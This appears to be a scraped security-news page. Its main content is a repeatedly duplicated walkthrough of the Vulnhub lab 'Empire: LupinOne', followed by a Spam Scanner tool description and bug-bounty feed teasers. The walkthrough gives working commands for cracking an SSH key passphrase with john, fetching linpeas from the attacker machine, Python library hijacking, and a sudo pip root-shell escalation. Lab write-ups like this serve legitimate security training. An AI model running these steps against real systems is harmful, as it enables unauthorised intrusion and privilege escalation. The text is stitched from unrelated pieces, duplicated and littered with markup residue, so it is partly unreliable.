Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Empire: LupinOne Vulnhub Walkthrough Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. This lab is appropriate for seasoned CTF players who want to put their skills to the test.…
ut it is encoded. We thoroughly examined this key and discovered that it is encoded in base 58.<o:p
http://192.168.1.2./~secret/.mysecret.txt<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg84s0NAW0DGep_GZ2JJJvPapD-bmiPfHN8kTqqXh_wAmQGvRDQeII8qZoPqxx8mhWAuzXCVUo1jofUynz5ycgCtNxTpXZM20ym3kQHfzGSif0GGQRoVcYdkpyRzMwJeT57U_JOi5JsAV6DVpmQPTILVtexiNoemQnGkaDTZo4Yy7fUI0LozCXc-iM5zg=s16000 We looked up a base 58 decoder online and were met with browserling. It is the most basic online base-58 decoder for web developers and programmers. <o:p
Simply enter your data in the form below, click the Base-58 Decode button, and you'll be presented with a base-58 encoded string. We obtained our ssh-keyafter decoding it.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEirLSLPT-MiFXVXnIT8_s8Gu2UFPds70YN2EK9G_VubFyxEjZlBAZ88eMW42NEJOjgv2Qli4P0ZX646gpwAq-VdHCEJ4JoIIFOqG3zLSVlGBLqpUDZOAVJMut_jOrZeVkty6qMC1y-GHXMWefCT92Ac_GhpQXz7nhhBdTj2Ahk2aPytPxzz-VtrD_vPNw=s16000 Exploitation<o:p
Since the author has share some hint related to passphrase for SSH Key, thus we are using ssh2john to obtain the hash value of the ssh-key.<o:p locate ssh2john<o:p/usr/share/john/ssh2john.py sshkey > hash<o:pNow, use john to crack the hash value.<o:p john --wordlist=/usr/share/wordlists/fastrack.txt hash<o:pIn a few seconds, Bingo!! We obtained the ssh-key password (P@55w0rd!).<o:p https://blogger.googleusercontent.com/img/a/AVvXsEijOCVSJJBUX0zThR9vVWf-CHaLS2IDwCbNxV1_TGmJZxtZ9o-iUO5jm335xNU_L4-IO6SLgp3B6-8x7NJ3SGm8ZQZvJIevj3mKJfUi7MxViUegItw48yvk-hGgmvJEfc-zAvwBglI1WhPyW9nQRPiWTyjl9yxO9F0T9b5SNuLyieUV_gDZPAxm1deJQA=s16000 We have all of the requirements for ssh login. Use our icex64 username, ssh-key, and cracked password (P@55w0rd!).<o:p ssh -i sshkey icex64@192.168.1.2<o:pBang!! We used theicex64 user to connect to ssh. We promptly verified this user's access and discovered that a Python file was running. We promptly examined that file and discovered that it could be exploited using the Python Library Hijackingapproach.<o:p sudo -l<o:pcat /home/arsene/heist.py<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhBSCBNa0u9PentMJ8Pbp5k7XFzZRgb8GaiT0aurTrnrYY5udON_5DM6jhif3PVblPaNOXLmSnY4YEvhbuVQHloZx2jiWjeq8ml5C9p_it9hR9A2XxXUT-owiZ48T7pgvG59c7twyyW0TO29wwQ5bljWj_IGK8OV4rjouvcI_aUkkKHUgEtxG8Ax0kl-A=s16000 Privilege Escalation<o:pWe've started the process of escalating privileges. To begin with the Python Library Hijacking technique, we must first determine the coordinates of webbrowser.py. That's why we're employing the linpeas script.<o:p
We've previously downloaded the Linpeas script from git page. Now we just navigate to that directory and launch a basic Python http server.<o:p python -m SimpleHTTPServer 80<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh4BQ2VQiDgk_lKM7b3S5thy9Z01nEia3j2cJIBpV58zUyvnJEbzhs9CZSgTAnsDz3V8sZZdtKWQBkehmzqh3W2xSVVXV_eyxTCjmWcOTw-WZx1AxUXJ30one7QR_kC4LUG4NEJuPMSH4KB17Q1g5i9f8ot8nidaxFqpubrdhnTpwxeGeY6rgpCVivqNQ=s16000 Now we'll switch to the icex64 terminal. We moved the directory to /tmp directory and imported the Linpeas script from Kali Linux using the wget function.<o:p cd /tmp<o:pwget 192.168.1.3/linpeas.sh<o:pThen we granted the script the ALL permissions. Then we ran it right away.<o:p chmod 777 linpeas.sh<o:p./linpeas.sh<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiZQlBdUI6gxnU7VILl5Phw-avfYYgRqCZO0pYa1wDHpL_2Lk2CaAc49wRhXgonvbqDYIL-y3CZNqWmAKxHocWyYBmxYrFQpaGIuPJyXFDz1gio-5Mqi4Nxu64aey_0eq32iRcpdoNHwx1nyWxzPnfA1UNwe_JcOibNsZaw62t-NcISiAieqPUVWtvjdg=s16000 We obtained the location of the Python file in a matter of seconds (webbrowser.py).<o:p https://blogger.googleusercontent.com/img/a[...]
http://192.168.1.2./~secret/.mysecret.txt<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg84s0NAW0DGep_GZ2JJJvPapD-bmiPfHN8kTqqXh_wAmQGvRDQeII8qZoPqxx8mhWAuzXCVUo1jofUynz5ycgCtNxTpXZM20ym3kQHfzGSif0GGQRoVcYdkpyRzMwJeT57U_JOi5JsAV6DVpmQPTILVtexiNoemQnGkaDTZo4Yy7fUI0LozCXc-iM5zg=s16000 We looked up a base 58 decoder online and were met with browserling. It is the most basic online base-58 decoder for web developers and programmers. <o:p
Simply enter your data in the form below, click the Base-58 Decode button, and you'll be presented with a base-58 encoded string. We obtained our ssh-keyafter decoding it.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEirLSLPT-MiFXVXnIT8_s8Gu2UFPds70YN2EK9G_VubFyxEjZlBAZ88eMW42NEJOjgv2Qli4P0ZX646gpwAq-VdHCEJ4JoIIFOqG3zLSVlGBLqpUDZOAVJMut_jOrZeVkty6qMC1y-GHXMWefCT92Ac_GhpQXz7nhhBdTj2Ahk2aPytPxzz-VtrD_vPNw=s16000 Exploitation<o:p
Since the author has share some hint related to passphrase for SSH Key, thus we are using ssh2john to obtain the hash value of the ssh-key.<o:p locate ssh2john<o:p/usr/share/john/ssh2john.py sshkey > hash<o:pNow, use john to crack the hash value.<o:p john --wordlist=/usr/share/wordlists/fastrack.txt hash<o:pIn a few seconds, Bingo!! We obtained the ssh-key password (P@55w0rd!).<o:p https://blogger.googleusercontent.com/img/a/AVvXsEijOCVSJJBUX0zThR9vVWf-CHaLS2IDwCbNxV1_TGmJZxtZ9o-iUO5jm335xNU_L4-IO6SLgp3B6-8x7NJ3SGm8ZQZvJIevj3mKJfUi7MxViUegItw48yvk-hGgmvJEfc-zAvwBglI1WhPyW9nQRPiWTyjl9yxO9F0T9b5SNuLyieUV_gDZPAxm1deJQA=s16000 We have all of the requirements for ssh login. Use our icex64 username, ssh-key, and cracked password (P@55w0rd!).<o:p ssh -i sshkey icex64@192.168.1.2<o:pBang!! We used theicex64 user to connect to ssh. We promptly verified this user's access and discovered that a Python file was running. We promptly examined that file and discovered that it could be exploited using the Python Library Hijackingapproach.<o:p sudo -l<o:pcat /home/arsene/heist.py<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhBSCBNa0u9PentMJ8Pbp5k7XFzZRgb8GaiT0aurTrnrYY5udON_5DM6jhif3PVblPaNOXLmSnY4YEvhbuVQHloZx2jiWjeq8ml5C9p_it9hR9A2XxXUT-owiZ48T7pgvG59c7twyyW0TO29wwQ5bljWj_IGK8OV4rjouvcI_aUkkKHUgEtxG8Ax0kl-A=s16000 Privilege Escalation<o:pWe've started the process of escalating privileges. To begin with the Python Library Hijacking technique, we must first determine the coordinates of webbrowser.py. That's why we're employing the linpeas script.<o:p
We've previously downloaded the Linpeas script from git page. Now we just navigate to that directory and launch a basic Python http server.<o:p python -m SimpleHTTPServer 80<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh4BQ2VQiDgk_lKM7b3S5thy9Z01nEia3j2cJIBpV58zUyvnJEbzhs9CZSgTAnsDz3V8sZZdtKWQBkehmzqh3W2xSVVXV_eyxTCjmWcOTw-WZx1AxUXJ30one7QR_kC4LUG4NEJuPMSH4KB17Q1g5i9f8ot8nidaxFqpubrdhnTpwxeGeY6rgpCVivqNQ=s16000 Now we'll switch to the icex64 terminal. We moved the directory to /tmp directory and imported the Linpeas script from Kali Linux using the wget function.<o:p cd /tmp<o:pwget 192.168.1.3/linpeas.sh<o:pThen we granted the script the ALL permissions. Then we ran it right away.<o:p chmod 777 linpeas.sh<o:p./linpeas.sh<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiZQlBdUI6gxnU7VILl5Phw-avfYYgRqCZO0pYa1wDHpL_2Lk2CaAc49wRhXgonvbqDYIL-y3CZNqWmAKxHocWyYBmxYrFQpaGIuPJyXFDz1gio-5Mqi4Nxu64aey_0eq32iRcpdoNHwx1nyWxzPnfA1UNwe_JcOibNsZaw62t-NcISiAieqPUVWtvjdg=s16000 We obtained the location of the Python file in a matter of seconds (webbrowser.py).<o:p https://blogger.googleusercontent.com/img/a[...]
Hacking Articles Tips Tricks Videos Tutorials
ut it is encoded. We thoroughly examined this key and discovered that it is encoded in base 58.<o:p http://192.168.1.2./~secret/.mysecret.txt<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg84s0NAW0DGep_GZ2JJJvPapD-bmiPfHN8kTqqXh_wAmQGvRDQeII8qZoP…
/AVvXsEjXziEp5PBGXxWN_J-9E0TiFtYpBemHQsTCLgM86YOHKSGDLuarVj54lHDJrPHE7QymmDlTDDs7-1mYO1leBzd8Zm2cYioY6raHKDIBpxb3b632VvGcvXXbHaEvt_xhsOgzRtSQxpUmzhmQGqnK8fx1IwX4sYQQTE4x8w5D_cyhex7EDkCC33CiYXDfwA=s16000 We can now begin our Python Library Hijacking procedure where an attacker is introduced into a python-enabled environment, you can learn more about this strategy by clicking here.<o:p
To operate this python file, we utilised the nano command and edit the script to call /bin/bash code into it.<o:p os.system ("/bin/bash")<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhWkjkHox5l5yd_Zqt2Sl3_TSbEVxr79z8AFGanQ8TOEuL47SZw6u1ZBIRBsfdkTgjFHcN7MKen2SAWX6h4BXvIZntIsh8ShuITk5zwmWN5MQg40Xqvi8PlW4mvqH7vHl5ily8_4GSzvFJkXgDA8BqzJE5D2O1uizwc_My8cripa58ZpLj42RHMyh3YHg=s16000 After all of this effort, we ran the sudo command in conjunction with the coordinates specified in the permissions check on icex64. To switch the user icex64 to arsene.<o:p sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py<o:pWe got the user arsene and checked this user SUDO permissions and found user has privilege to execute pip binary as root without atuthentication. We have an idea to do pip privilege escalation after evaluating a few more moments.<o:p sudo -l<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgvklUoad4JLXkXs14AoNBGI3Aswm0o-ZDYHuYXJRHJT90AMeyBkLS58O07ycTkzjTciLZ9CHnv4sQbMNAOMKH7vzQ1BKE2UBhhLZgelYLwqkRspcKv8ZfTwwvTH7Hk1bqfKyqRgh0aJL2khTuc3VwV5lSJFk5tUZ5_PlOEK3DUuI9v8p7zby5sbID9Xg=s16000 We used the gtfobin instructions provided here to conduct pip privilege escalation. If the programme is allowed to run as superuser by sudo, it retains its elevated rights and can be used to access the file system, escalate, or keep privileged access.<o:p
To conduct pip privilege escalation, we only need to run these three commands.<o:p TF=$(mktemp -d)<o:pecho "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty)$(tty) 2>$(tty)')" > $TF/setup.py<o:psudo pip install $TF<o:pYippee!! Finally, we have the root; simply use the id command to check. It has been proven that it is root; simply change the directory to root. Congo!! We obtained the root flag.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhlfEyBcD3Gw2y6qRNfp0GXBB40IpRAYpbLcK9zEYNeEgFSdZ4wNf3sQemPL4UFMedkZyXYKY5Z3XaREzYCAAxXzT-8CinoiokZsvJLY4A2qd3uD53euSQmU8Z1QRehpRMtsC2YpALZ0FEixOFUWOcqYA1ZEZVZyzGGBJsywyo5f5CT3no53Qb9I7EUfA=s16000 This is how we'll get at the machine's shell. It was a terrific exercise, and it was a lot of fun to cheer for the winners. To comprehend many scenarios, it is required to try once.<o:p Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedInand Twitter.<o:p
To operate this python file, we utilised the nano command and edit the script to call /bin/bash code into it.<o:p os.system ("/bin/bash")<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhWkjkHox5l5yd_Zqt2Sl3_TSbEVxr79z8AFGanQ8TOEuL47SZw6u1ZBIRBsfdkTgjFHcN7MKen2SAWX6h4BXvIZntIsh8ShuITk5zwmWN5MQg40Xqvi8PlW4mvqH7vHl5ily8_4GSzvFJkXgDA8BqzJE5D2O1uizwc_My8cripa58ZpLj42RHMyh3YHg=s16000 After all of this effort, we ran the sudo command in conjunction with the coordinates specified in the permissions check on icex64. To switch the user icex64 to arsene.<o:p sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py<o:pWe got the user arsene and checked this user SUDO permissions and found user has privilege to execute pip binary as root without atuthentication. We have an idea to do pip privilege escalation after evaluating a few more moments.<o:p sudo -l<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgvklUoad4JLXkXs14AoNBGI3Aswm0o-ZDYHuYXJRHJT90AMeyBkLS58O07ycTkzjTciLZ9CHnv4sQbMNAOMKH7vzQ1BKE2UBhhLZgelYLwqkRspcKv8ZfTwwvTH7Hk1bqfKyqRgh0aJL2khTuc3VwV5lSJFk5tUZ5_PlOEK3DUuI9v8p7zby5sbID9Xg=s16000 We used the gtfobin instructions provided here to conduct pip privilege escalation. If the programme is allowed to run as superuser by sudo, it retains its elevated rights and can be used to access the file system, escalate, or keep privileged access.<o:p
To conduct pip privilege escalation, we only need to run these three commands.<o:p TF=$(mktemp -d)<o:pecho "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty)$(tty) 2>$(tty)')" > $TF/setup.py<o:psudo pip install $TF<o:pYippee!! Finally, we have the root; simply use the id command to check. It has been proven that it is root; simply change the directory to root. Congo!! We obtained the root flag.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhlfEyBcD3Gw2y6qRNfp0GXBB40IpRAYpbLcK9zEYNeEgFSdZ4wNf3sQemPL4UFMedkZyXYKY5Z3XaREzYCAAxXzT-8CinoiokZsvJLY4A2qd3uD53euSQmU8Z1QRehpRMtsC2YpALZ0FEixOFUWOcqYA1ZEZVZyzGGBJsywyo5f5CT3no53Qb9I7EUfA=s16000 This is how we'll get at the machine's shell. It was a terrific exercise, and it was a lot of fun to cheer for the winners. To comprehend many scenarios, it is required to try once.<o:p Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedInand Twitter.<o:p
Hacking Articles Tips Tricks Videos Tutorials
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Hacking Articles Tips Tricks Videos Tutorials
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Hacking Articles
Empire: LupinOne Vulnhub Walkthrough
Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. This lab is appropriate for seasoned CTF players who want to put
The post Empire: LupinOne Vulnhub Walkthrough appeared first on Hacking Articles.
Empire: LupinOne Vulnhub Walkthrough
Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. This lab is appropriate for seasoned CTF players who want to put
The post Empire: LupinOne Vulnhub Walkthrough appeared first on Hacking Articles.
Hacking Articles Tips Tricks Videos Tutorials
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KitPloit - PenTest Tools!
Spamscanner - Spam Scanner Is The Best Anti-Spam, Email Filtering, And Phishing Prevention Service
https://blogger.googleusercontent.com/img/a/AVvXsEjxXIyI9IEj85buS3iQCYG9lPZCCCJIFGdXxsyUU1SCLXBk2FWJbdmncwyiMw2hppAe3S9933ZDEKZNrnyAN_Bj8r9ESJpHiz3p3eOYf493Ec1mOseLgoe_i17nppaBgozR5ahG_JKJN5QqXg2ttUxczuSAY1UZefO6GcYua5DqDf0UzA5x5tUNp1ul5Q=w640-h216 Spam Scanner is the best anti-spam, email filtering, and phishing prevention service.
Spam Scanner is a drop-in replacement and the best alternative to SpamAssassin, rspamd, SpamTitan, and more. ForewordSpam Scanner is a tool and service built by @niftylettuce after hitting countless roadblocks with existing spam-detection solutions. In other words, it's our current plan for spam.
Our goal is to build and utilize a scalable, performant, simple, easy to maintain, and powerful API for use in our service at Forward Email to limit spam and provide other measures to prevent attacks on our users.
Initially we tried using SpamAssassin, and later evaluated rspamd – but in the end we learned that all existing solutions (even ones besides these) are overtly complex, missing required features or documentation, incredibly challenging to configure; high-barrier to entry, or have proprietary storage backends (that could store and read your messages without your consent) that limit our scalability.
To us, we value privacy and the security of our data and users – specifically we have a "Zero-Tolerance Policy" on storing logs or metadata of any kind, whatsoever (see our Privacy Policy for more on that). None of these solutions honored this privacy policy (without removing essential spam-detection functionality), so we had to create our own tool – thus "Spam Scanner" was born.
The solution we created provides several Features and is completely configurable to your liking. You can learn more about the actual Algorithm below. Contributors are welcome. FeaturesSpam Scanner includes modern, essential, and performant features that to help reduce spam, phishing, and executable attacks. Naive Bayes ClassifierOur Naive Bayesian classifier is available in this repository, the npm package, and is updated frequently as it gains upstream, anonymous, SHA-256 hashed data from Forward Email.
It was trained with an extremely large dataset of spam, ham, and abuse reporting format ("ARF") data. This dataset was compiled privately from multiple sources. Spam Content DetectionProvides an out of the box trained Naive Bayesian classifier (uses naivebayes and natural under the hood), which is sourced from hundreds of thousands of spam and ham emails. This classifier relies upon tokenized and stemmed words (with respect to the language of the email as well) into two categories ("spam" and "ham"). Phishing Content DetectionRobust phishing detection approach which prevents domain swapping, IDN homograph attacks, and more. Executable Link and Attachment DetectionLink and attachment detection techniques that checks links in the message, "Content-Type" headers, file extensions, magic number, and prevents homograph attacks on file names – all against a list of executable file extensions. Virus DetectionUsing ClamAV, it scans email attachments (including embedded CID images) for trojans, viruses, malware, and/or other malicious threats. NSFW Image DetectionWe have plans to add NSFW image detection and opt-in toxicity detection as well. AlgorithmIn a nutshell, here is how the Spam Scanner algorithm works:
1.
A message is passed to Spam Scanner, known as the "source".
2.
In parallel and asynchronously, the source is passed to functions that detect the following:
* Classification
* Phishing
* Executables
* Arbitrary
* Viruses
3.
After all functions complete, if any returned a value indicating it i[...]
Spamscanner - Spam Scanner Is The Best Anti-Spam, Email Filtering, And Phishing Prevention Service
https://blogger.googleusercontent.com/img/a/AVvXsEjxXIyI9IEj85buS3iQCYG9lPZCCCJIFGdXxsyUU1SCLXBk2FWJbdmncwyiMw2hppAe3S9933ZDEKZNrnyAN_Bj8r9ESJpHiz3p3eOYf493Ec1mOseLgoe_i17nppaBgozR5ahG_JKJN5QqXg2ttUxczuSAY1UZefO6GcYua5DqDf0UzA5x5tUNp1ul5Q=w640-h216 Spam Scanner is the best anti-spam, email filtering, and phishing prevention service.
Spam Scanner is a drop-in replacement and the best alternative to SpamAssassin, rspamd, SpamTitan, and more. ForewordSpam Scanner is a tool and service built by @niftylettuce after hitting countless roadblocks with existing spam-detection solutions. In other words, it's our current plan for spam.
Our goal is to build and utilize a scalable, performant, simple, easy to maintain, and powerful API for use in our service at Forward Email to limit spam and provide other measures to prevent attacks on our users.
Initially we tried using SpamAssassin, and later evaluated rspamd – but in the end we learned that all existing solutions (even ones besides these) are overtly complex, missing required features or documentation, incredibly challenging to configure; high-barrier to entry, or have proprietary storage backends (that could store and read your messages without your consent) that limit our scalability.
To us, we value privacy and the security of our data and users – specifically we have a "Zero-Tolerance Policy" on storing logs or metadata of any kind, whatsoever (see our Privacy Policy for more on that). None of these solutions honored this privacy policy (without removing essential spam-detection functionality), so we had to create our own tool – thus "Spam Scanner" was born.
The solution we created provides several Features and is completely configurable to your liking. You can learn more about the actual Algorithm below. Contributors are welcome. FeaturesSpam Scanner includes modern, essential, and performant features that to help reduce spam, phishing, and executable attacks. Naive Bayes ClassifierOur Naive Bayesian classifier is available in this repository, the npm package, and is updated frequently as it gains upstream, anonymous, SHA-256 hashed data from Forward Email.
It was trained with an extremely large dataset of spam, ham, and abuse reporting format ("ARF") data. This dataset was compiled privately from multiple sources. Spam Content DetectionProvides an out of the box trained Naive Bayesian classifier (uses naivebayes and natural under the hood), which is sourced from hundreds of thousands of spam and ham emails. This classifier relies upon tokenized and stemmed words (with respect to the language of the email as well) into two categories ("spam" and "ham"). Phishing Content DetectionRobust phishing detection approach which prevents domain swapping, IDN homograph attacks, and more. Executable Link and Attachment DetectionLink and attachment detection techniques that checks links in the message, "Content-Type" headers, file extensions, magic number, and prevents homograph attacks on file names – all against a list of executable file extensions. Virus DetectionUsing ClamAV, it scans email attachments (including embedded CID images) for trojans, viruses, malware, and/or other malicious threats. NSFW Image DetectionWe have plans to add NSFW image detection and opt-in toxicity detection as well. AlgorithmIn a nutshell, here is how the Spam Scanner algorithm works:
1.
A message is passed to Spam Scanner, known as the "source".
2.
In parallel and asynchronously, the source is passed to functions that detect the following:
* Classification
* Phishing
* Executables
* Arbitrary
* Viruses
3.
After all functions complete, if any returned a value indicating it i[...]
Massive Users Account Takeovers(Chaining Vulnerabilities to IDOR)
https://medium.com/@varmaanu001/massive-users-account-takeovers-chaining-vulnerabilities-to-idor-ea4e1b6407d2?source=rss------bug_bounty-5
https://medium.com/@varmaanu001/massive-users-account-takeovers-chaining-vulnerabilities-to-idor-ea4e1b6407d2?source=rss------bug_bounty-5
Hello hunters 👋✌ this is my 7th writeup 🧾,Continue reading on Medium » (https://medium.com/@varmaanu001/massive-users-account-takeovers-chaining-vulnerabilities-to-idor-ea4e1b6407d2?source=rss------bug_bounty-5)
Hello everyone I am HAC and Today we will be doing jerry from HacktheboxContinue reading on Medium » (https://hac7323.medium.com/jerry-from-hackthebox-6fa04931d8d4?source=rss------bug_bounty-5)
Massive Users Account Takeovers(Chaining Vulnerabilities to IDOR)
Hello hunters 👋✌ this is my 7th writeup 🧾,Continue reading on Medium »
Read more...
Hello hunters 👋✌ this is my 7th writeup 🧾,Continue reading on Medium »
Read more...
Jerry From Hackthebox
Hello everyone I am HAC and Today we will be doing jerry from HacktheboxContinue reading on Medium »
Read more...
Hello everyone I am HAC and Today we will be doing jerry from HacktheboxContinue reading on Medium »
Read more...